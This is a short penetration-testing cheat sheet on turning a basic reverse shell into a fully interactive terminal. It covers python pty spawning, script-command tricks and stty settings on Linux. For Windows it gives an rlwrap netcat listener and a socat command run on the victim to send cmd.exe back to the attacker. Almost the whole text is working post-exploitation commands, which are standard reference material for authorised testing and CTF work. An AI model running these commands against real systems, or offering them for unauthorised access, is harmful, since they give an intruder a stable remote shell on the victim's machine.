Shell Upgrading

Linux

Step 1: pick a method

python:

which python python2 python3          # check availability
python -c 'import pty;pty.spawn("/bin/bash")'   # in reverse shell

typescript (script command):

script /dev/null -c bash
# or
SHELL=/bin/bash script -q /dev/null
# or
script -qc /bin/bash /dev/null

/dev/null avoids script writing a log file to the current directory.

Step 2: suspend & fix locally

CTRL-Z to suspend, then locally:

stty size; stty raw -echo; fg

stty size reports terminal rows/cols, optional for a quick upgrade.

Back in the reverse shell, type reset. If prompted for terminal type, enter screen.

Step 3: full TTY

export SHELL=bash
export TERM=xterm-256color
stty rows <num> columns <cols>

Windows

rlwrap

rlwrap nc -lvnp <port>

Note: doesn't work for some shells (e.g. telnet).

socat

Windows socat: https://github.com/3ndG4me/socat

Locally:

socat TCP4-LISTEN:<port>,for STDOUT

On victim (upload/compile socat.exe):

socat.exe TCP4:<ip>:<port> EXEC:'cmd.exe',pipes